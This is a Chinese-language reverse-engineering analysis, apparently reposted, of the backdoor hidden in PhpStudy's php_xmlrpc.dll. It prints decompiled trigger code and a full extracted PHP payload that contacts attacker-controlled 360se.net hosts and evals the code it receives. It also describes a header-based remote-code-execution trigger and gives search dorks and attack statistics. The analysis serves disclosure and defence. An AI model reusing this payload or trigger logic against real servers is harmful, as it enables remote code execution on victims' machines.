PhpStudy 后门分析
作者:Hcamael@知道創宇404實驗室
時間:2019年9月26日
原文鏈接:https://paper.seebug.org/1044/
背景介紹
2019/09/20,一則杭州警方通報打擊涉網違法犯罪專項行動戰果的新聞出現在我的朋友圈,其中通報了警方發現PhpStudy軟件被種入后門后進行的偵查和逮捕了犯罪嫌疑人的事情。用PhpStudy的Web狗還挺多的,曾經我還是Web狗的時候也用過幾天,不過因為不習慣就卸了。還記得當初會用PhpStudy的原因是在網上自學一些Web方向的課程時,那些課程中就是使用PhpStudy。在拿到樣本后,我就對PhpStudy中的后門進行了一波逆向分析。
后門分析
最近關于講phpstudy的文章很多,不過我只得到一個信息,后門在php_xmlrpc.dll文件中,有關鍵詞:“eval(%s(%s))”。得知這個信息后,就降低了前期的工作難度。可以直接對該dll文件進行逆向分析。
我拿到的是2018 phpstudy的樣本: MD5 (php_xmlrpc.dll) = c339482fd2b233fb0a555b629c0ea5d5
對字符串進行搜索,很容易的搜到了函數:sub_100031F0
經過對該函數逆向分析,發現該后門可以分為三種形式:
1.觸發固定payload:
v12 = strcmp(**v34, aCompressGzip);if ( !v12 ){v13 = &rce_cmd;v14 = (char *)&unk_1000D66C;v42 = &rce_cmd;v15 = &unk_1000D66C;while ( 1 ){if ( *v15 == '\'' ){v13[v12] = '\\';v42[v12 + 1] = *v14;v12 += 2;v15 += 2;}else{v13[v12++] = *v14;++v15;}v14 += 4;if ( (signed int)v14 >= (signed int)&unk_1000E5C4 )break;v13 = v42;}spprintf(&v36, 0, aVSMS, byte_100127B8, Dest);spprintf(&v42, 0, aSEvalSS, v36, aGzuncompress, v42);v16 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v17 = *(void **)(v16 + 296);*(_DWORD *)(v16 + 296) = &v32;v40 = v17;v18 = setjmp3((int)&v32, 0);v19 = v40;if ( v18 ){v20 = a3;*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v40;}else{v20 = a3;zend_eval_string(v42, 0, &rce_cmd, a3);}result = 0;*(_DWORD *)(*(_DWORD *)(*v20 + 4 * executor_globals_id - 4) + 296) = v19;return result;}從unk_1000D66C到unk_1000E5C4為zlib壓縮的payload,后門檢查請求頭,當滿足要求后,會獲取壓縮后的payload,然后執行@eval(gzuncompress(payload)),把payload解壓后再執行,經過提取,該payload為:
@ini_set("display_errors","0"); error_reporting(0); function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){$result = "";$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); if( !$handle ){$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);if( !$handle ){return "err";}}fwrite($handle, $sendMsg."\n");while(!feof($handle)){stream_set_timeout($handle, 2);$result .= fread($handle, 1024);$info = stream_get_meta_data($handle);if ($info['timed_out']) {break;}}fclose($handle); return $result; }$ds = array("www","bbs","cms","down","up","file","ftp"); $ps = array("20123","40125","8080","80","53"); $n = false; do {$n = false;foreach ($ds as $d){$b = false;foreach ($ps as $p){$result = tcpGet($i,$d.".360se.net",$p); if ($result != "err"){$b =true;break;}}if ($b)break;}$info = explode("<^>",$result);if (count($info)==4){if (strpos($info[3],"/*Onemore*/") !== false){$info[3] = str_replace("/*Onemore*/","",$info[3]);$n=true;}@eval(base64_decode($info[3]));} }while($n);2.觸發固定的payload2
if ( dword_10012AB0 - dword_10012AA0 >= dword_1000D010 && dword_10012AB0 - dword_10012AA0 < 6000 ){if ( strlen(byte_100127B8) == 0 )sub_10004480(byte_100127B8);if ( strlen(Dest) == 0 )sub_10004380(Dest);if ( strlen(byte_100127EC) == 0 )sub_100044E0(byte_100127EC);v8 = &rce_cmd;v9 = asc_1000D028;v41 = &rce_cmd;v10 = 0;v11 = asc_1000D028;while ( 1 ){if ( *(_DWORD *)v11 == '\'' ){v8[v10] = 92;v41[v10 + 1] = *v9;v10 += 2;v11 += 8;}else{v8[v10++] = *v9;v11 += 4;}v9 += 4;if ( (signed int)v9 >= (signed int)&unk_1000D66C )break;v8 = v41;}spprintf(&v41, 0, aEvalSS, aGzuncompress, v41);v22 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v23 = *(_DWORD *)(v22 + 296);*(_DWORD *)(v22 + 296) = &v31;v38 = v23;v24 = setjmp3((int)&v31, 0);v25 = v38;if ( v24 ){v26 = a3;*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v38;}else{v26 = a3;zend_eval_string(v41, 0, &rce_cmd, a3);}*(_DWORD *)(*(_DWORD *)(*v26 + 4 * executor_globals_id - 4) + 296) = v25;if ( dword_1000D010 < 3600 )dword_1000D010 += 3600;ftime(&dword_10012AA0);}ftime(&dword_10012AB0);if ( dword_10012AA0 < 0 )ftime(&dword_10012AA0);當請求頭里面不含有Accept-Encoding字段,并且時間戳滿足一定條件后,會執行asc_1000D028到unk_1000D66C經過壓縮的payload,同第一種情況。
提取后解壓得到該payload:
@ini_set("display_errors","0"); error_reporting(0); $h = $_SERVER['HTTP_HOST']; $p = $_SERVER['SERVER_PORT']; $fp = fsockopen($h, $p, $errno, $errstr, 5); if (!$fp) { } else {$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";$out .= "Host: {$h}\r\n";$out .= "Accept-Encoding: compress,gzip\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);fclose($fp); }3.RCE遠程命令執行
if ( !strcmp(**v34, aGzipDeflate) ){if ( zend_hash_find(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 216, aServer, strlen(aServer) + 1, &v39) != -1&& zend_hash_find(**v39, aHttpAcceptChar, strlen(aHttpAcceptChar) + 1, &v37) != -1 ){v40 = base64_decode(**v37, strlen((const char *)**v37));if ( v40 ){v4 = *(_DWORD *)(*a3 + 4 * executor_globals_id - 4);v5 = *(_DWORD *)(v4 + 296);*(_DWORD *)(v4 + 296) = &v30;v35 = v5;v6 = setjmp3((int)&v30, 0);v7 = v35;if ( v6 )*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v35;elsezend_eval_string(v40, 0, &rce_cmd, a3);*(_DWORD *)(*(_DWORD *)(*a3 + 4 * executor_globals_id - 4) + 296) = v7;}}當請求頭滿足一定條件后,會提取一個請求頭字段,進行base64解碼,然后zend_eval_string執行解碼后的exp。
研究了后門類型后,再來看看什么情況下會進入該函數觸發該后門。查詢sub_100031F0函數的引用信息發現:
data:1000E5D4 dd 0 .data:1000E5D8 dd 0 .data:1000E5DC dd offset aXmlrpc ; "xmlrpc" .data:1000E5E0 dd offset off_1000B4B0 .data:1000E5E4 dd offset sub_10001010 .data:1000E5E8 dd 0 .data:1000E5EC dd offset sub_100031F0 .data:1000E5F0 dd offset sub_10003710 .data:1000E5F4 dd offset sub_10001160 .data:1000E5F8 dd offset a051 ; "0.51"該函數存在于一個結構體中,該結構體為_zend_module_entry結構體:
//zend_modules.h struct _zend_module_entry {unsigned short size; //sizeof(zend_module_entry)unsigned int zend_api; //ZEND_MODULE_API_NOunsigned char zend_debug; //是否開啟debugunsigned char zts; //是否開啟線程安全const struct _zend_ini_entry *ini_entry;const struct _zend_module_dep *deps;const char *name; //擴展名稱,不能重復const struct _zend_function_entry *functions; //擴展提供的內部函數列表int (*module_startup_func)(INIT_FUNC_ARGS); //擴展初始化回調函數,PHP_MINIT_FUNCTION或ZEND_MINIT_FUNCTION定義的函數int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS); //擴展關閉時回調函數int (*request_startup_func)(INIT_FUNC_ARGS); //請求開始前回調函數int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS); //請求結束時回調函數void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS); //php_info展示的擴展信息處理函數const char *version; //版本...unsigned char type;void *handle;int module_number; //擴展的唯一編號const char *build_id; };sub_100031F0函數為request_startup_func,該字段表示在請求初始化階段回調的函數。從這里可以知道,只要php成功加載了存在后門的xmlrpc.dll,那么任何只要構造對應的后門請求頭,那么就能觸發后門。在Nginx服務器的情況下就算請求一個不存在的路徑,也會觸發該后門。
由于該后門存在于php的ext擴展中,所以不管是nginx還是apache還是IIS介受影響。
修復方案也很簡單,把php的php_xmlrpc.dll替換成無后門的版本,或者現在直接去官網下載,官網現在的版本經檢測都不存后門。
雖然又對后門的范圍進行了一波研究,發現后門只存在于php-5.4.45和php-5.2.17兩個版本中:
$ grep "@eval" ./* -r Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches隨后又在第三方網站上(https://www.php.cn/xiazai/gongju/89)上下載了phpstudy2016,卻發現不存在后門:
phpStudy20161103.zip壓縮包md5:5bf5f785f027bf0c99cd02692cf7c322 phpStudy20161103.exe md5碼:1a16183868b865d67ebed2fc12e88467之后同事又發了我一份他2018年在官網下載的phpstudy2016,發現同樣存在后門,跟2018版的一樣,只有兩個版本的php存在后門:
MD5 (phpStudy20161103_backdoor.exe) = a63ab7adb020a76f34b053db310be2e9 $ grep "@eval" ./* -r Binary file ./php/php-5.4.45/ext/php_xmlrpc.dll matches Binary file ./php/php-5.2.17/ext/php_xmlrpc.dll matches查看發現第三方網站上是于2017-02-13更新的phpstudy2016。
ZoomEye數據
通過ZoomEye探測phpstudy可以使用以下dork:
“Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45” “Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17” +“X-Powered-By” -> 89,483
+“nginx/1.11.5” +“PHP/5.2.17” -> 597 總量共計有90,080個目標現在可能會受到PhpStudy后門的影響。
可能受影響的目標全球分布概況:
可能受影響的目標全國分布概況:
畢竟是國產軟件,受影響最多的國家還是中國,其次是美國。對美國受影響的目標進行簡單的探查發現基本都是屬于IDC機房的機器,猜測都是國人在購買的vps上搭建的PhpStudy。
知道創宇云防御數據
知道創宇404積極防御團隊檢測到2019/09/24開始,互聯網上有人開始對PhpStudy后門中的RCE進行利用。
2019/09/24攻擊總數13320,攻擊IP數110,被攻擊網站數6570,以下是攻擊來源TOP 20:
攻擊來源 攻擊次數 *.164.246.149 2251 *.114.106.254 1829 *.172.65.173 1561 *.186.180.236 1476 *.114.101.79 1355 *.147.108.202 1167 *.140.181.28 726 *.12.203.223 476 *.12.73.12 427 *.12.183.161 297 *.75.78.226 162 *.12.184.173 143 *.190.132.114 130 *.86.46.71 126 *.174.70.149 92 *.167.156.78 91 *.97.179.164 87 *.95.235.26 83 *.140.181.120 80 *.114.105.176 762019/09/25攻擊總數45012,攻擊IP數187,被攻擊網站數10898,以下是攻擊來源TOP 20:
攻擊來源 攻擊次數 *.114.101.79 6337 *.241.157.69 5397 *.186.180.236 5173 *.186.174.48 4062 *.37.87.81 3505 *.232.241.237 2946 *.114.102.5 2476 *.162.20.54 2263 *.157.96.89 1502 *.40.8.29 1368 *.94.10.195 1325 *.186.41.2 1317 *.114.102.69 1317 *.114.106.254 734 *.114.100.144 413 *.114.107.73 384 *.91.170.36 326 *.100.96.67 185 *.83.189.86 165 *.21.136.203 149攻擊源國家分布:
國家 數量 中國 34 美國 1 韓國 1 德國 1省份分布:
```csharp 省份 數量 云南 7 北京 6 江蘇 6 廣東 4 香港 4 上海 2 浙江 2 重慶 1 湖北 1 四川 1攻擊payload:
如需轉載,請注明來源。
總結
以上是生活随笔為你收集整理的PhpStudy 后门分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 哈哈哈,假如计算机是中国人发明的,那代码
- 下一篇: stm32中spi可以随便接吗_STM3